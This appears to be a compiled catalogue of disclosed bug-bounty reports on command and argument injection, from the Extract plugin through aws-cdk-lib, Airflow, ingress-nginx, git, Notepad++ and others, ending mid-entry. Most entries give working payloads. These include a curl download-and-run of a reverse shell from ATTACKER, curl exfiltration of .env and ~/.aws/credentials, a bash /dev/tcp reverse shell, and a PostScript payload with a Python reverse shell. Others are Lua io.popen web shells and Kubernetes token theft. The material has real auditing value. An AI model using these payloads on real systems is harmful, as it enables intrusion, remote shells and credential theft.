The Extract plugin builds a shell command by string-concatenating the user-supplied archive filename and destination directory into exec("unrar x \"$file\" -R \"$dir\" -o+"). Breaking out of the double quotes with " | injects shell commands.
Method
- Install the Extract app; upload any .rar.
- Use 'Extract Here' and intercept the extractRar.php POST.
- Set nameOfFile to break out of the quoted arg and pipe to a command (download and run a reverse shell).
- Trigger the dropped shell with a second request.
nameOfFile=sample.rar"|curl http://ATTACKER/shell.pl -o /tmp/shell.pl|"&directory=&external=0
# then:
nameOfFile=sample.rar"|perl /tmp/shell.pl|"&directory=&external=0
Insight — Archive/extract, PDF, media-conversion and antivirus features frequently shell out to CLI tools (unrar, tar, gs, ffmpeg) with the filename interpolated. Test filenames containing " | ; $() to break out. Audit app marketplaces/plugins - they concatenate into exec() far more than core code.
Real-world example
Single-quote injection in echo '${data}' shell builder -> AWS CDK supply-chain RCE
◆ High
Specimen #3637898 · aws_vdp · none · 97 votes · resolved
Program aws_vdpSurface otherChain malicious npm version string -> OsCommand echo breakout -Tag supply-chainTag cloud-aws
Root cause
aws-cdk-lib NodejsFunction's internal OsCommand.write builds `echo '${data}' > file` wrapping data in single quotes without escaping embedded single quotes. writeJson passes JSON.stringify(dependencies) (preserving quotes) so a package.json version string containing ' breaks out and injects shell commands run via docker bash -c (with host bind mounts).
Method
- Publish (or be a transitive dep) with a crafted version string containing a single quote and shell payload.
- Victim declares nodeModules and runs cdk synth/deploy with Docker bundling.
- extractDependencies() serializes the version into the echo command; the quote breaks out and the payload runs inside the container.
- Because /asset-input and /asset-output are bind-mounted to the host project dir, the command reads/writes host files (exfil .env, ~/.aws).
// malicious package.json dependency version:
"lodash": "4.17.21' && curl https://ATTACKER/exfil?d=$(cat /asset-input/.env|base64) && echo '"
// generated: echo '{"dependencies":{"lodash":"4.17.21' && <PAYLOAD> && echo '"}}' > "/asset-output/package.json"
Insight — Single-quote wrapping is NOT escaping: echo '${x}' is injectable if x can contain a '. Audit build tooling that assembles bash -c strings from package metadata (versions, names, scripts) - these are invisible supply-chain RCE paths that fire during synth/build with no explicit shell command from the developer. Fix: apply POSIX shell escaping ('\''-style) to every arg.
Real-world example
Windows path-traversal escapes docker-credential- prefix (GitLab-Runner DOCKER_AUTH_CONFIG)
◆ High
Specimen #955016 · gitlab · awarded · 77 votes · resolved
Program gitlabSurface otherChain CI variable credHelpers value -> path traversal past dock
Root cause
gitlab-runner (docker executor) processes the DOCKER_AUTH_CONFIG build variable and execs Docker credential helpers as `docker-credential-<value>`. On Windows, path normalization lets a value like /../../../Windows/System32/calc.exe normalize away the docker-credential- prefix, executing an arbitrary binary on the runner HOST (not inside a container).
Method
- Set DOCKER_AUTH_CONFIG in .gitlab-ci.yml with a credHelpers value containing ../ traversal to a host binary.
- gitlab-runner prepends docker-credential- and execs it; Windows normalizes the traversal out, running the target exe.
- For arbitrary payloads, stage an .exe into the predictable volume-mounted build/cache dir via a service, then point the credHelper at that path.
services:
- alpine:doesnotexist
variables:
DOCKER_AUTH_CONFIG: "{\"credHelpers\":{\"repo.example.com\":\"/../../../../../../../../Windows/System32/calc.exe\"}}"
build1:
tags: [windows-docker-runner]
script: [whoami]
Insight — A fixed prefix + user-controlled suffix passed to exec is bypassable on Windows because it doesn't require path components to exist during normalization (docker-credential-/../../X collapses). CI runners execute untrusted repo config on shared hosts - variables like DOCKER_AUTH_CONFIG that get exec'd are host-level command injection compromising all future builds.
Real-world example
OS command injection via unescaped run_id in Airflow BashOperator template
◆ High
Specimen #1776476 · ibb · USD 4000 · 60 votes · resolved
Program ibbSurface web
Root cause
A user-controlled value (DAG run_id) is interpolated into a Jinja-templated bash_command of a BashOperator without escaping, so shell metacharacters in run_id execute as OS commands. CVE-2022-40127 (Apache Airflow <2.4.0 example_bash_operator).
Method
- Get UI access that can trigger DAGs
- Trigger example_bash_operator with 'Trigger DAG w/ config'
- Set run_id to a shell payload wrapped in backticks/;
- Read task logs to confirm execution
run_id: `touch /tmp/success`
# reaches: bash_command='echo "run_id={{ run_id }} | dag_run={{ dag_run }}"'
Insight — Any templating engine that feeds user input into a shell command string (BashOperator, Ansible, CI job names, cron templates) is a command-injection sink; probe metadata fields (run_id, job name, tags) that get echoed into shell steps.
Real-world example
ingress-nginx annotation injection -> arbitrary nginx directives -> lua RCE / SA token theft
◆ High
Specimen #1728174 · kubernetes · USD 2500 · 57 votes · resolved
Program kubernetesSurface cloudChain Ingress annotation injection -> nginx directive injectionTag cloud-aws
Root cause
ingress-nginx renders user-controlled Ingress annotations into nginx.conf via a Go template that fails to escape/validate many values. An attacker with rights to create/modify Ingress objects in any namespace injects extra location blocks and lua (content_by_lua_block) to run commands on the controller pod, then reads its service-account token (which can read secrets cluster-wide). CVE-2021-25742/25746.
Method
- Get create/update Ingress permission in one namespace (multi-tenant cluster)
- Inject a configuration-snippet (or other unescaped annotation) that opens a new location with content_by_lua_block calling io.popen
- Curl the injected location with a cmd header to run commands and read /var/run/secrets/.../token
metadata:
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_headers "x";
}
location /suanve/ { content_by_lua_block { local f=io.popen(ngx.req.get_headers()["cmd"]); ngx.say(f:read("*all")); } }
location /fs/ {
---
curl -H 'Host: attacker.example' -H 'cmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token' http://127.0.0.1/suanve/
Insight — When user input flows into a config/template compiled by another engine (nginx.conf, haproxy, apache), look for unescaped fields that let you close the current directive and open new ones. In ingress-nginx, many annotations beyond configuration-snippet were injectable; the controller SA is a cluster-wide secret-reader, so RCE there = full cluster compromise.
Real-world example
Command injection via unsanitized esbuild bundling options (aws-cdk-lib)
◆ High
Specimen #3558713 · aws_vdp · none · 48 votes · resolved
Program aws_vdpSurface otherChain malicious construct/PR -> unsanitized bundling opt -> Tag supply-chain
Root cause
NodejsFunction concatenates bundling props (externalModules, define/loader keys, inject, esbuildArgs) into one string joined by spaces and runs it via spawnSync('bash',['-c',cmd]) / cmd /c; shell metacharacters in any prop break out and execute during cdk synth/deploy/diff.
Method
- Publish/PR a construct that passes attacker values into externalModules or define keys
- Victim runs cdk synth/deploy
- Injected command executes on the build/CI host (credential theft, reverse shell)
new NodejsFunction(this,'H',{entry:'...',bundling:{externalModules:['lodash & curl https://evil/exfil?d=$(cat ~/.aws/credentials|base64)']}});
Insight — IaC/build tooling that shells out (bash -c / cmd /c) from config values is a supply-chain RCE surface - audit for string-concatenation into spawn with shell interpretation; fix is array-arg spawn without a shell.
Real-world example
ingress-nginx path-field injection -> arbitrary file write (log_format/access_log) -> include -> RCE
◆ High
Specimen #1620702 · kubernetes · USD 2500 · 47 votes · resolved
Program kubernetesSurface cloudChain path injection -> nginx file write -> include lua ->Tag cloud-aws
Root cause
The Ingress spec.rules.http.paths.path value is inserted into nginx.conf with insufficient escaping, so embedded newlines/braces inject nginx directives. Using log_format escape=none + access_log an attacker writes attacker-controlled request data to an arbitrary file, then a second ingress includes that file (which passed the path sanitizer) to gain lua RCE on the controller pod.
Method
- Apply an ingress whose path breaks out of the location and defines a log_format capturing a request header plus an access_log to /tmp/luashell
- Curl the write-location with a header carrying a content_by_lua_block payload -> file /tmp/luashell now holds lua
- Apply a second ingress that includes /tmp/luashell in a location
- Curl that location with cmd=id to execute commands
# path breakout writing arbitrary file
path: "/x/ {\n }\n }\n log_format exploit escape=none $http_x_ginoah;\n server {\n server_name x.x; listen 80;\n location /z/ { access_log /tmp/luashell exploit; }\n location /x/ {\n #"
---
curl localhost/z/ -H 'host: x.x' -H 'x-ginoah: content_by_lua_block { ngx.req.read_body(); local a=ngx.req.get_post_args(); local c=a["cmd"]; if c then local f=io.popen(c); ngx.say(f:read("*a")); end; }'
# then second ingress: location /z/ { include /tmp/luashell; }
curl localhost/z/ -H 'host: x.x' -d 'cmd=id'
Insight — When one injection point can't directly reach a code sink but can write files (via logging/access_log), pivot: write your payload to disk with a first injection, then include/execute it with a second that survives the sanitizer. A file-write primitive + an include directive = RCE.
Real-world example
PS1 double-evaluation via git branch name
◆ High
Specimen #1785378 · iandunn-projects · awarded · 47 votes · resolved
Program iandunn-projectsSurface desktop
Root cause
A dotfiles .bash_prompt embedded VCS status (branch name) into PS1, which bash re-evaluates for command substitution each time the prompt renders; a repo with a branch name containing $(...) executes arbitrary commands merely by cd-ing into the directory.
Method
- Victim uses the vulnerable .bash_prompt (VCS info in PS1)
- Attacker publishes a repo whose branch name contains a command substitution
- Victim clones and cd's into the repo
- git branch name flows into PS1 and is evaluated -> command runs
git init -b '$(touch${IFS}/tmp/pwned)' repo
cd repo # PS1 renders vcs_prompt -> $(touch /tmp/pwned) executes
Insight — Any untrusted string interpolated into PS1 (or later re-eval'd by eval/printf %b) is command execution. Branch names, hostnames, directory names, and git status are attacker-controllable. Prompts must use printf '%s' / escape, never embed raw VCS output.
Real-world example
Jinja param injection into BashOperator bash_command (Apache Airflow CVE-2022-24288)
◆ High
Specimen #1492896 · ibb · awarded · 46 votes · resolved
Program ibbSurface web
Root cause
Example DAGs (example_passing_params_via_test_command, tutorial) build bash_command from user-controllable {{params.foo}} Jinja values without sanitization; a conf param can close the quoting and append shell commands, executed by BashOperator.
Method
- Enable/trigger the example DAG via Trigger DAG w/ config
- Supply conf JSON that breaks out of the quoted bash_command with ";cmd;"
- Command runs on the worker (reverse shell)
{"foo":"\";touch /tmp/pwnedaaaaa;\""}
# reverse shell:
{"foo":"\";bash -i >& /dev/tcp/ATTACKER/6666 0>&1;\""}
Insight — Template params rendered into a BashOperator/command are command-injection sinks; on Airflow, load_examples=True DAGs are pre-installed RCE gadgets, worse with unauthenticated web access.
Real-world example
Second-order command injection via username in backtick gzip (Discourse)
◆ High
Specimen #214022 · discourse · 512 · 45 votes · resolved
Program discourseSurface webChain filter bypass via restore -> username in backtick gzip -&
Root cause
ExportCsvFile interpolates the current username into a backtick gzip command. The UI filters username characters, but an admin can inject metacharacters into the username through the backup/restore feature (trust-boundary bypass), reaching the shell sink.
Method
- Download a site backup, edit a username to inject a command (e.g. test;wget attacker)
- Repackage and restore the backup
- Trigger a user_archive CSV export so the username hits the gzip backtick
username: test.txt;wget mrzioto.com
# sink: `gzip -5 #{absolute_path}` where absolute_path contains the username
Insight — When a value is validated at one entry point but reused unfiltered elsewhere, find an alternate write path (backup/restore, import, API) that skips the filter - classic second-order injection into a shell sink.
Real-world example
Command injection via unsanitized remote-server response into exec() (Ubiquiti AirOS)
◆ High
Specimen #139398 · ui · awarded · 44 votes · resolved
Program uiSurface network
Root cause
fetchCookies builds a shell command from the redirect URL returned by a remote host; a loose ereg regex allows text before/after the URL, and the whole string is passed to exec(), so an attacker-controlled 302 Location injects shell code.
Method
- Stand up a server that returns 302 with a Location containing injected shell code after a valid login.cgi URL
- Make the device run a speed test against that server (sptest_action.cgi)
- Injected command executes on the device
printf 'HTTP/1.1 302 Found\r\nLocation: https://192.168.1.100/login.cgi `reboot`\r\nContent-Length: 0\r\n\r\n' | ncat -lp 8080
Insight — Data returned by an external/remote server is attacker-controllable; if a client parses it (redirect Location, headers) into a shell command, it's command injection. Anchor URL regexes with ^...$.
Real-world example
Blind OS command injection in Perl CGI email param (OOB + timing)
◆ High
Specimen #410334 · ibm · none · 42 votes · resolved
Program ibmSurface webChain reflected XSS + blind OS command injection in same param
Root cause
A Perl CGI (PasswordCreate.pl) passes the email GET/POST parameter into a shell context without sanitization; a leading & plus nslookup/ping gives blind command execution confirmed via OOB DNS and time-delay.
Method
- Inject &nslookup <unique>.collab into the email param and watch for OOB DNS
- Confirm with ping-based time delay (10s vs 20s vs baseline)
- Same input reflects unescaped -> XSS as well
email=%26nslookup+"UNIQUE.collab"%26ping+-c+20+127.0.0.1&ibm-submit=Submit
Insight — Legacy .pl/.cgi endpoints that take an address/email are prime blind-command-injection targets; use OOB (DNS/HTTP canary) and timing to detect when there is no output.
Real-world example
Command injection via TTS backend (espeak) argument
◆ High
Specimen #807961 · 8x8-bounty · none · 42 votes · resolved
Program 8x8-bountySurface api
Root cause
A text-to-speech API passes user input to the espeak CLI (espeak <text>) without sanitization; shell metacharacters/backticks in the text are evaluated, giving command execution (output even audible via the TTS).
Method
- Submit TTS text containing a command substitution
- Backend runs espeak <text> in a shell, executing the injected command
hey `whoami`
Insight — Media/conversion CLIs invoked from web features (espeak, ffmpeg, ImageMagick, sox, pdf/latex) are common command-injection sinks - probe with backticks/$() and OOB canaries whenever user input drives such a tool.
Real-world example
ssh:// URL option injection in VCS clients (git/svn/hg CVE-2017-1000117 family)
◆ High
Specimen #260005 · ibb · awarded · 39 votes · resolved
Program ibbSurface other
Root cause
git/subversion/mercurial pass the host part of an ssh:// URL directly to the ssh binary; a host beginning with - is parsed by ssh as an option, e.g. -oProxyCommand=..., executing an arbitrary command. Triggerable via crafted repo URLs and .gitmodules submodule URLs.
Method
- Craft an ssh:// URL / submodule whose host starts with -oProxyCommand=payload
- Get a victim to clone / update submodules (git clone --recursive)
- ssh runs the ProxyCommand -> RCE
git clone 'ssh://-oProxyCommand=touch${IFS}/tmp/pwned/foo/bar'
# or via .gitmodules: url = ssh://-oProxyCommand=payload/path
Insight — Any URL whose host/args are handed to a subprocess (ssh, git) can be option-injected when it starts with '-'; treat user-supplied repo/submodule URLs as untrusted argument vectors.
Real-world example
Argument injection into ssh-keyscan via host param (CVE-2026-24126)
◆ High
Specimen #3518571 · weblate · none · 33 votes · resolved
Program weblateSurface web
Root cause
The SSH management view appends the user-supplied host parameter directly to a subprocess argv list (ssh-keyscan) with no validation, so a leading dash injects an option flag (argument injection) to coerce arbitrary file reads.
Method
- Authenticate as admin and open /manage/ssh/
- POST action=add-host with a host value beginning with a flag (e.g. -f) pointing at a sensitive file
- The tool's option parsing reads the file; its contents surface in the returned message
POST /manage/ssh/
action=add-host&host=-f/etc/passwd
# or target Django settings.py (SECRET_KEY), ~/.ssh/id_rsa
# server runs: ssh-keyscan -f/etc/passwd
Insight — When user input is passed as a bare argv element (even to a hardcoded binary with no shell), a value starting with '-' becomes an option. Argument injection needs no shell metacharacters - test '-'-prefixed values against any CLI wrapper (ssh-keyscan, curl, tar, git, ssh).
Real-world example
ActiveStorage argument injection -> ImageMagick -write -> RCE (CVE-2022-21831)
◆ High
Specimen #1154034 · rails · none · 27 votes · resolved
Program railsSurface webChain argument injection -> arbitrary file write (ERB) -> RCTag file-upload
Root cause
Rails ActiveStorage variant()/preview() forwards user-supplied transformation values to ImageProcessing/MiniMagick, which turns method names+args into ImageMagick CLI options. Because Rails params can be arrays, an attacker injects extra convert arguments (e.g. -write) instead of a single resize value.
Method
- Find an image transform where a request param feeds variant(resize: params[:x])
- Send the param as an array to inject arbitrary convert flags
- Use -set comment <ERB> -write /path/file.erb to write attacker-controlled content to a known path, then trigger the ERB for RCE
https://TARGET/controller?new_size[]=123&new_size[]=-set&new_size[]=comment&new_size[]=<%25=system('id')%25>&new_size[]=-write&new_size[]=/tmp/file.erb
# resulting command:
convert ORIGINAL -auto-orient -resize 123 -set comment <ERB> -write /tmp/file.erb /tmp/out.png
Insight — When user input reaches a builder that maps method calls to CLI flags (MiniMagick method_missing), passing an array/list injects whole new arguments; -write / -set comment on ImageMagick is a generic file-write-to-RCE primitive.
Real-world example
Template-parameter command injection in Airflow Docker example DAG (CVE-2022-38362)
◆ High
Specimen #1671140 · ibb · awarded · 22 votes · resolved
Program ibbSurface web
Root cause
The example_docker_copy_data DAG renders params.source_location through a jinja2 template into a bash_command executed by BashOperator, so a DAG trigger config controls the shell string.
Method
- Log into Airflow and open the docker_sample_copy_data DAG
- Use 'Trigger DAG w/ config' and supply a source_location that closes the find command and injects your own
- Inspect task logs / server to confirm execution
{"source_location":";touch /tmp/thisistest;"}
# rendered: find ;touch /tmp/thisistest; -type f -printf "%f\n" | head -1
Insight — Any workflow/CI param that is jinja2-rendered into a shell command (Airflow BashOperator, templated bash_command) is a command-injection sink. Break out of the surrounding command with ; and inject.
Real-world example
Node.js shell-wrapper command injection via filename parameter (pdfinfojs, CVE-2018-3746)
◆ High
Specimen #330957 · nodejs-ecosystem · none · 15 votes · resolved
Program nodejs-ecosystemSurface other
Root cause
pdfinfojs concatenates the user-supplied filename into a pdfinfo shell command without escaping, so shell metacharacters in the filename execute.
Method
- Instantiate pdfinfo() with a malicious filename containing command substitution
- Call getInfo(); the filename is appended to the shell command and executed
- Verify side effect (created file)
var pdfinfo = require('pdfinfojs'),
pdf = new pdfinfo('$({touch,a})');
pdf.getInfo(function(err, info, params){});
// brace expansion $({touch,a}) avoids needing spaces
Insight — Any Node module that shells out with exec() and interpolates a filename/arg is injectable. Use brace-expansion $({cmd,arg}) to inject commands without space characters when filenames disallow spaces.
Real-world example
CLI flag value injected into exec() (egg-scripts --stderr)
◆ High
Specimen #388936 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface otherTag supply-chain
Root cause
egg-scripts takes the --stderr command-line argument and concatenates it into exec('tail -n 100 '+stderr) without escaping, so a crafted flag value injects shell commands. CVE-2018-3786.
Method
- Find a CLI/daemon tool that logs or tails a user-supplied path via exec
- Supply the path option with an appended shell command
- Verify injected command ran
eggctl start --daemon --stderr=/tmp/eggctl_stderr.log; touch /tmp/malicious
Insight — Command-line argument values (log paths, output files, hostnames) that get passed to a shell are as dangerous as web input. When auditing CLI tools, map every option that ends up in exec('cmd '+opt). Replace exec with execFile to force arg separation.
Real-world example
OS command injection via shell string concatenation in Node modules
◆ High
Specimen #703412 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface otherChain user input -> string-concatenated shell command -> exe
Root cause
Node wrapper modules build a shell command by string-concatenating user input and run it via child_process.exec, so shell metacharacters (; & | backtick) in the argument execute arbitrary commands (node-df options.file; same pattern in treekill, meta-git, arpping).
Method
- Locate the API parameter that flows into an exec()/shelled command
- Inject a shell separator plus command
- Observe side effect (file creation) confirming execution
// node-df
require('node-df')({file:'/;touch HACKED'}, cb);
// treekill (win) require('treekill')('1 & echo HACKED > HACKED.txt &');
// meta-git meta-git clone 'x||touch HACKED'
// arpping require('arpping')().ping(['127.0.0.1;touch HACKED;'])
Insight — Any library that shells out (df, ping, arp, git, taskkill) is a command-injection sink when it uses exec + concatenation; test each string parameter with ;`$()|& and prefer execFile/spawn with arg arrays as the fix.
Real-world example
Mercurial hg-ssh argument injection: --debugger -> Python Pdb RCE (CVE-2017-9462)
◆ High
Specimen #222020 · ibb · awarded · 3 votes · resolved
Program ibbSurface otherChain restricted SSH -> argument injection (--debugger) -> P
Root cause
hg 'serve --stdio' / custom hg-ssh wrappers that do not validate the repo attribute let an authorized (restricted) SSH user pass '--debugger', which makes the hg binary drop into the Python Pdb shell = arbitrary Python code execution.
Method
- Have restricted SSH access to a Mercurial repo server using an hg-ssh wrapper
- Supply '--debugger' where the repo/path argument is expected
- hg enters Pdb -> run arbitrary Python
ssh git@host "hg -R --debugger serve --stdio"
# unvalidated repo param becomes the --debugger flag -> Pdb shell -> import os; os.system('id')
Insight — Argument injection: any wrapper forwarding a user-controlled value as a CLI argument can be turned into a flag (--debugger, --config, -o); audit hg-ssh/git-shell restrictors for missing '--' or value validation. Metasploit module exists.
Real-world example
Unsanitized input concatenated into child_process.exec() (Node.js RCE)
◆ High
Specimen #319473 · nodejs-ecosystem · none · 3 votes · resolved
Program nodejs-ecosystemSurface other
Root cause
Node libraries build a shell command by string-concatenating caller-supplied values (URL, filename, package name, message) and run it through child_process.exec()/execSync(), which invokes /bin/sh -c. Any shell metacharacter in the input is interpreted, yielding arbitrary command execution.
Method
- Find a library API/CLI arg whose value ends up in exec()/execSync() (grep for require('child_process').exec, spawn(... {shell:true})).
- Wrap a payload in a shell substitution or separator so it survives concatenation.
- Confirm with an OOB/side-effect canary (touch /tmp/x, DNS/HTTP to collaborator).
require("open")("http://example.com/`touch /tmp/tada`");
// separators that work depending on context:
// ; id (statement separator)
// | id or || id (pipe / OR)
// `id` or $(id) (command substitution, survives quoting)
// %0a id (newline when input hits a shell script)
Insight — Any package parameter that looks harmless (URL, filename, npm package name, git message) is an RCE sink the moment it reaches exec()/execSync() or spawn with shell:true. When metachars appear filtered, try backtick/$() substitution and newline (%0a) which bypass naive ;|& blacklists. Fix is execFile/spawn with an argv array and shell:false.
Real-world example
RCE via git-remote-ext ext:: submodule URL in reimplemented submodule fetch
◆ High
Specimen #104465 · square-open-source · awarded · 2 votes · resolved
Program square-open-sourceSurface otherChain malicious .gitmodules -> ext:: remote helper -> local Tag supply-chain
Root cause
git's git-remote-ext helper executes arbitrary commands embedded in ext:: URLs. Submodule URLs come from an attacker-controlled .gitmodules file. Tools like git-fastclone that reimplement recursive submodule fetching do not inherit git's GIT_ALLOW_PROTOCOL protocol allowlist fix, so cloning a malicious repo runs attacker commands (CVE-2015-7545 / CVE-2015-8968).
Method
- Create a repo and rewrite .gitmodules so a submodule url is an ext:: command URL.
- Commit and host it.
- Victim recursively clones with the vulnerable tool -> the ext:: command runs locally.
cat >.gitmodules <<"EOF"
[submodule "malicious-submodule"]
path = malicious-submodule
url = "ext::sh -c cat% /etc/passwd% >&2"
EOF
git add .gitmodules && git commit -m x
# victim: git fastclone <repo> -> runs the ext:: command (% = space in ext URLs)
Insight — Any tool that recursively fetches git submodules by re-driving git (CI clone helpers, mirror scripts) must set GIT_ALLOW_PROTOCOL to whitelist safe protocols; otherwise attacker-controlled .gitmodules ext:: URLs = RCE. Test build/CI pipelines that recurse submodules.
Real-world example
Ruby string interpolation into a shell-command builder (Cocaine::CommandLine.new)
◆ High
Specimen #105190 · square-open-source · awarded · 2 votes · resolved
Program square-open-sourceSurface otherTag supply-chain
Root cause
git-fastclone builds Cocaine::CommandLine with plain Ruby string interpolation of untrusted values. Cocaine only sanitizes arguments substituted via #run placeholders, not values baked into the string passed to .new, so interpolated submodule URLs are injected into the shell.
Method
- Find command-builder calls that interpolate variables directly ("cmd #{var}") instead of using placeholder substitution.
- Supply a value (directly, or via a git submodule URL in .gitmodules) containing shell substitution.
- The interpolated command runs your subshell.
# direct:
git fastclone "'"'$(cat /etc/passwd >&2)'"'"
# via submodule url in .gitmodules:
[submodule "malicious-submodule"]
path = malicious-submodule
url = "'`cat /etc/passwd >&2`'"
Insight — Safe command-runner libraries (Cocaine/terrapin, sh, execa) only protect values passed through their placeholder/argv API; anything string-interpolated into the command template is still injectable. Audit for #{...} inside command strings even when a 'safe' wrapper is used.
Real-world example
ImageMagick/Ghostscript RCE via image upload (ImageTragick %pipe%)
◆ Medium
Specimen #422944 · shopify · awarded · 830 votes · resolved
Program shopifySurface webChain image upload -> ImageMagick delegate -> Ghostscript %pTag file-uploadTag cloud-aws
Root cause
Image-processing pipelines (ImageMagick/GraphicsMagick) that don't validate real file type and don't disable Ghostscript delegates will interpret an uploaded PostScript/EPS file. Ghostscript's %pipe% OutputFile and PS operators run arbitrary shell commands.
Method
- Find any feature that server-side converts/resizes an uploaded image (avatar, logo, priority-product image).
- Upload a PostScript payload renamed to .jpg/.png/.gif (type is not validated).
- ImageMagick hands it to Ghostscript which executes the embedded %pipe% command, yielding a reverse shell.
- Escalate: from the shell, curl the AWS IMDS (169.254.169.254) for IAM role credentials.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("COLLAB",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])') currentdevice putdeviceprops
Insight — Any server-side image conversion is a candidate for ImageMagick/Ghostscript RCE. Save the PS payload with an image extension, upload, and listen. If you land a shell, immediately hit 169.254.169.254 for cloud IAM creds to escalate. Fix tell: policy.xml must disable PS/EPS/PDF/XPS coders.
Real-world example
Appliance Management-Console config-value injection -> root (GitHub Enterprise Server)
◆ High
Specimen #2332551 · github · awarded · 61 votes · resolved
Program githubSurface otherChain editor config injection -> config-template command inject
Root cause
A low-privilege Management-Console 'editor' role sets configuration values (SMTP options, actions service URL, collectd user/pass) that GHES interpolates into nomad templates / generated config without sanitization, yielding command injection and admin SSH access to the appliance.
Method
- Log into the Management Console with the editor role
- Set an SMTP/service-URL/collectd config field to a value that breaks the templating/shell context
- Config apply executes the injected command, granting root SSH
Insight — On virtual appliances, low-privilege config/settings fields are a rich injection surface: values are frequently rendered into config-management templates (nomad/consul-template, Jinja, shell) and executed. Enumerate every editable field as an injection candidate.
Real-world example
Embedded-device command injection with filter bypass, chained via XSS+CSRF (Ubiquiti AirOS)
◆ High
Specimen #703659 · ui · awarded · 12 votes · resolved
Program uiSurface otherChain CSRF -> stored XSS -> CSRF-token bypass -> command Tag subdomain-takeover
Root cause
Web endpoints on AirOS shell out with insufficient input filtering; a crafted string passes the filter yet still carries commands (command injection). Combined with stored XSS and CSRF-token bypass on other endpoints, an attacker achieves full device RCE/firmware upload from a lured admin.
Method
- Enumerate device web endpoints that invoke system commands; probe filters with encodings/alternate separators until a payload survives
- Find an XSS sink to run script in the admin session and read/replay CSRF tokens
- Chain XSS->CSRF-bypass->command injection to modify config, upload firmware, exfiltrate tokens/files
Insight — On IoT/router admin panels, command-injection filters are often character-blacklists that miss an alternate separator/encoding; and CSRF tokens are defeatable via same-origin XSS. Hunt the full chain (XSS->token theft->injected command) rather than a single bug. (Report is limited-disclosure; no raw payload published.)
Real-world example
Restricted-CLI breakout via crafted commands (Ubiquiti EdgeSwitch)
◆ High
Specimen #313245 · ui · awarded · 8 votes · resolved
Program uiSurface otherChain restricted CLI -> command injection -> unrestricted shTag subdomain-takeover
Root cause
The EdgeSwitch SSH/Telnet restricted CLI passes admin-entered command arguments to an underlying shell without full sanitization, letting an admin craft input that escapes the restricted menu and runs arbitrary shell instructions - escalating beyond the intended admin capability.
Method
- From the restricted CLI, probe command arguments with shell metacharacters/argument-injection
- Find a command whose arg reaches an OS shell to break out of the restricted menu
- Execute arbitrary shell -> full control of the device
Insight — Restricted shells / vendor CLIs are command-injection surfaces: any menu command that shells out with your argument can be an escape hatch. Test each CLI verb's parameters for separators (;, |, $(), backticks) and path/argument injection. (Limited-disclosure report; no raw payload published.)
Real-world example
URL field passed to ShellExecute unsanitized (Notepad++ SearchEngine)
◆ Medium
Specimen #495382 · notepad-plus-plus · awarded · 99 votes · resolved
Program notepad-plus-plusSurface desktop
Root cause
The 'Search on Internet' feature passes the configured SearchEngine string straight to Windows ShellExecute without verifying it is a URL, so a value like 'cmd /K echo boom' is executed as a command.
Method
- Set Settings->Search Engine custom value to a command (cmd /K echo boom).
- Select text, Edit->On Selection->Search on Internet.
- The command runs via ShellExecute.
# custom Search Engine value:
cmd /K echo boom
Insight — ShellExecute/URL-launch sinks that accept 'a URL' but don't validate the scheme are command-injection sinks - any place a program opens a user-controlled URL/path in a native app is worth checking (settings sync, imported config, protocol handlers).
Real-world example
Lua sandbox escape via loadstring -> io.popen (WikiCloth markdown)
◆ Medium
Specimen #1401444 · gitlab · 3000 · 50 votes · resolved
Program gitlabSurface web
Root cause
GitLab renders mediawiki via WikiCloth, whose <lua>/#luaexpr extension runs Lua in a sandbox that wraps loadstring unsafely; pcall(loadstring, code) runs code in the global env, giving access to io.popen for OS command execution.
Method
- Ensure mediawiki wiki format (WikiCloth) with rubyluabridge present
- Add a wiki page containing a <lua> block
- Use pcall(loadstring, ...) with io.popen to run OS commands and print output
<lua>
_,execute = pcall(loadstring,[[
local command = ...;
local handle = io.popen(command)
local result = handle:read("*a")
handle:close()
return result;
]]);
print(execute('id'));
execute('echo pwned > /tmp/ggg');
</lua>
Insight — For any Lua-in-app feature, test the classic loadstring/pcall(safeloadstring) escape from lua-users SandBoxes wiki; if io/os are reachable you get RCE. Also flag optional-gem code paths (rubyluabridge) that silently enable dangerous extensions.
Real-world example
Windows env-var expansion breakout in quoted cmd string (Notepad++)
◆ Medium
Specimen #494979 · notepad-plus-plus · awarded · 50 votes · resolved
Program notepad-plus-plusSurface desktop
Root cause
Notepad++ built cmd /K cd /d "$(CURRENT_DIRECTORY)"; although quotes were added, cmd.exe still expands %VAR% inside the folder name. A folder like %TEST% && cmd where %TEST% contains a double-quote breaks out of the quoting and injects commands.
Method
- Set env var TEST to a value containing a double-quote (")
- Create folder named %TEST% && mkdir boom with a file inside
- Open the file and use File>Open Containing Folder>cmd - injected command runs
setx TEST "\""
folder name: %TEST% && mkdir boom
Insight — When building Windows shell strings from filesystem paths, remember cmd.exe still expands %VAR% even inside double quotes; escape % as ^% . Test env-var expansion as a quote-breakout vector in any app that shells out with a path.
Real-world example
ShellExecute on unvalidated custom-search-engine string (Notepad++)
◆ Medium
Specimen #497312 · notepad-plus-plus · awarded · 50 votes · resolved
Program notepad-plus-plusSurface desktop
Root cause
The Search-on-Internet feature calls ShellExecute(open, searchEngineCustom) assuming an http(s) URL; anyone who can set searchEngineCustom (GUI or config.xml) can supply a command that ShellExecute runs.
Method
- Write config.xml with searchEngineChoice=0 and searchEngineCustom set to a command
- Drop config.xml into %APPDATA%\Notepad++
- Right-click > Search on Internet triggers the command
<GUIConfig name="searchEngine" searchEngineChoice="0"><searchEngineCustom>cmd.exe /c calc.exe</searchEngineCustom></GUIConfig>
Insight — ShellExecute("open", s) executes non-URL strings as commands. Any config/setting fed to ShellExecute without an http:// scheme check is an RCE sink; poisoned config files are a realistic delivery vector.
Real-world example
Argument injection via Airflow Sqoop libjars (CVE-2023-25693)
◆ Medium
Specimen #1891795 · ibb · 2400 · 29 votes · resolved
Program ibbSurface api
Root cause
SqoopHook._prepare_command passes the user-controllable Connection 'libjars' value straight into the sqoop -libjars CLI flag, so an attacker who controls the connection can point it at a malicious jar (loaded into the MR classpath) and run arbitrary system commands.
Method
- Find a place where a connection/config field flows into a CLI tool argument (here Airflow Connection extra -> sqoop -libjars)
